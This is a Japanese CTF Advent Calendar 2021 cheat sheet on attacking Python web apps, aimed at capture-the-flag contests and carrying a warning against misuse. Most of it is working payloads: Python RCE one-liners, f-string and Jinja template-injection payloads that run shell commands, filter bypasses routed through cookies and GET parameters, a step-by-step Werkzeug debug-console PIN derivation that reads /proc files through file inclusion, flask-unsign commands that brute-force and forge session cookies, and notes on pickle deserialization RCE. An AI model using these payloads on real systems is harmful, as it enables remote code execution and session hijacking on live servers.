この記事はCTFのWebセキュリティ Advent Calendar 2021の19日目の記事です。
本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト(CTF)で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。
- 使えるコマンド例
- cat
open('/flag').read()
- pwd
getcwd()
- RCE
__import__('os').popen('COMMAND').read()
__import__("os").system("ls")
- pythonでは;区切りするとワンライナーで書ける。
import subprocess;out=subprocess.Popen("[cmd]", shell=True, stdout=subprocess.PIPE,stderr=subprocess.STDOUT);stdout,stderr=out.communicate();print(stdout);
- 参考
- Python 3.7.2にはUnicode正規化を利用したホスト偽装方法がある
- formatを利用したSSTI
- fstringを使ったRCE
- fstring(input)としている場合は
{open('/flag').read()}
みたいなインジェクションがいける
- urlparse
- pythonのurlparseの仕様をうまく使えば、色々バイパスできる
- メモ
- os.path.join is weird in python3
>>> import os
>>> print(os.path.join('/home', 'flag.txt'))
/home/flag.txt
>>> print(os.path.join('/home', '/flag.txt'))
/flag.txt
- subprocessはコマンドインジェクションができてしまう
- 特に
shell=True
となってたら危ない
- subprocess --- サブプロセス管理 — Python 3.8.5 ドキュメント
shell=True
を付けない、デフォルトの状態だと安全に渡される
- 例えば
cat flag
を与えると、スペースがエスケープされて全体で1コマンド解釈されるので、shell=True
を付けたりする
- でも
['cat', 'flag']
を与えることで、shall=Trueが無くても正しく実行してくれる(しかも空白を制限できるのでやや安全)
- cookieを使ってバイパス
- CTFtime.org / DefCamp CTF 2020 Online / http-for-pros / Writeup
- request.cookies['a']みたいにして、aをcookieに入れてやればいい
{{request[request.cookies['a']][request.cookies['b']][request.cookies['c']][request.cookies['d']][request.cookies['e']][request.cookies['f']]('subprocess')[request.cookies['g']](request.cookies['h'],shell=True)}}
として
-"a": "__class__"
,"b": "_get_file_stream"
,"c": "im_func"
,"d": "func_globals"
,"e": "__builtins__"
,"f": "__import__"
,"g": "check_output"
,"h": cmd
という感じ
re.sub(r'([^_\.\sa-zA-Z0-9])', r'\\\1', s)
- 脆弱性
- 文字列しか扱えないとき
f"{__builtins__['__import__']('os').__dict__['popen']('ls').read()}"
みたいにf"{}"で囲んで文字列化
- プライベート変数を参照したいとき
__dict__
でインスタンスの変数が参照可能 instance.__dict__['private_var_name'] = 'private_var_value';
- メモリを改ざんすることで数値をいじるテク
- pythonのcodingをraw_unicode_escapeを使って、コメント部分を実行させるテク
- 文字種が限定されている場合のRCE
- メモ
type(int("1_1")) = <class 'int'>
でint("1_1")=11
となる
pdb.post_mortem(e.__traceback__)
みたいなコードがあれば、ここに到達すればPDBが起動する。
- pycを解析する
ライブラリ
- Flask,Twig
- HackTricks
- python向けのウェブアプリケーションフレームワーク
- セッションの形式が特殊でわかりやすい
{{ config.items() }}
とやることで、いろんな情報を表示できる {{config}}
でも抜ける
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection
- secure_filenameは強い。
- debug modeの場合は
/console
が怪しい
- consoleにPINコードがかかっているときの解析方法。LFIができれば解析可能
- Workerbee Walkthrough (Werkzeug Debug Pin generation) - YouTube
- werkzeug - HackTricks
- ここの末尾にPINコードを作成するpythonコードが添付されているのでこれを埋めるようにして、情報をかき集めていく
- probably_public_bitsを埋める
- 1番目
/proc/self/environ
から環境変数USERを取ってくるUSER=loremipsum
- 2番目はそのまま
- 3番目
/proc/self/cmdline
をするとloremipsum.py
というファイル名だと分かる
loremipsum.py
を取ってくるとapp = Flask(__name__)
とあるので、ここはこのままFlask
でよい
- 4番目
- エラー画面を見ると
/usr/local/lib/python3.6/dist-packages/flask/app.py
とあるので、python3.6に修正する
- private_bits
- 1番目
/proc/net/arp
を見るとDeviceはeth0
であると分かる。
/sys/class/net/eth0/address
としてMACアドレスを取得する02:42:ac:1b:00:02
- これを16進数でつないで10進数に変換すると得られる
print(0x0242ac1b0002)=2485378547714
- 2番目
- 以下2つをそのままつなげたものを入れる
/proc/sys/kernel/random/boot_id
でb875f129-5ae6-4ab1-90c0-ae07a6134578
が得られる
/proc/self/cgroup
の最初の要素のハッシュ値みたいなやつを取ってくる
11:memory:/docker/e8c9f0084a3b2b724e4f2a526d60bf0a62505f38649743b8522a8c005b8334ae
のe8c9f0084a3b2b724e4f2a526d60bf0a62505f38649743b8522a8c005b8334ae
- よって、
b875f129-5ae6-4ab1-90c0-ae07a6134578e8c9f0084a3b2b724e4f2a526d60bf0a62505f38649743b8522a8c005b8334ae
- これで実行するとPINコード
126-739-410
が得られて、使えば答え
- Flaskのセッション管理
- format
- Cookieにセッションの内容が全部入っている。secret_keyがあれば署名も可能
- Cookieにセッションの内容がすべて入っている(スレートレス)状態になっているため、ログアウトしてCookieを削除しても、それを予めとっておいて再送すればログイン中のセッションとして使用できる
- つまり、ログアウトの目的の1つである、古いセッションを削除して、dropcatchされても問題ないようにするという解決法が意味をなさない
- 緩和策としてセッションの寿命を短くしておくことが挙げられる
- sstiできるなら、configからsecret_keyを抜き出すことも可能
- flask_jwtを使うことでjwtが使える
- Tools
- GitHub - noraj/flask-session-cookie-manager: Flask Session Cookie Decoder/Encoder
- flask-unsignツールを使うと簡単にブルートフォースで解析可能
- インストール
pip install flask-unsign flask-unsign[wordlist]
- 中身見る
flask-unsign -d -c "[cookie]"
- パスワード解析
flask-unsign -c "[cookie]" --unsign
- 作り直す
flask-unsign --sign --secret password1 --cookie "{'flagship': True, 'username': 'toto'}"
- 辞書攻撃が効く問題も見たことがある
- rockyou.txtで解析したいとき
flask-unsign -c "[cookie]" --unsign --wordlist tools/rockyou.txt --no-literal-eval
- send_fileするときにMIMEタイプが設定されていない場合は、拡張子からMIMEタイプが推論されて付与される
- flask_admin
- クラスでモデルを作ってDB編集を簡単に行えるようにしたフレームワーク
from flask_admin import Admin
みたいにインポートしてる
- これを使えば以下ルールでDBをいじれる
/admin/[Table名]/
Table内容を確認する
/admin/[Table名]/edit/?id=XX
id=XXである要素を編集できる
/admin/[Table名]/new
Tableに新しい要素を追加する
- 問題
- Flaskのwerkzeugで使われるパスワードハッシュ
from werkzeug.security import generate_password_hash
で使われるパスワードハッシュ
pbkdf2:sha256:150000$ODedbYPS$4d1bd12adb1eb63f78e49873cbfc731e35af178cb9eb6b8b62c09dcf8db76670
こんなかんじ
- jinja
- RCE1
- getパラメタを使ってうまくフィルターを回避する例
- URL
/apply?x=__class__&l=os
- データ
{{(config|attr(request.args.x)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')(request.args.l)|attr('popen')('id')|attr('read')())}}
- RCE2
{{request.environ.__getitem__('gunicorn.socket').dup.__func__.__globals__.__getitem__('o''s').__builtins__.__getitem__('__import__')('subprocess').check_output(('bash','-c','cat strategyguide.txt'))}}
- Tornade
- Pickle
- RCE脆弱性がある
- pickle.load(ここ!)に対してインジェクションできれば、発動させられる
__reduce__
メソッドはpickle.loadするときに発動して、文字列に入れ替わる
ls
を実行して、cat flag
でフラグゲットパターンを見た
not enough values to unpack (expected 3, got 2)
というエラーはpickleっぽい
- flask_caching
- 【Python】pickle(漬け物)は仮想マシンだった——仕組みとリスク - Qiita
- weurkzerg
- デバッグモードが有効だと、エラー時に任意のpythonコードを実行できる
/console
でInteractive Console使えるかも
- helpを使った変数表示
- flagという変数があって、
help(flag)
を動かすとNo Python documentation found for '[flagの中身]'
というのが出力されてくる
- なんかinteractiveにも使えるっぽい
help()
ってしてそのあとflagを入れれる?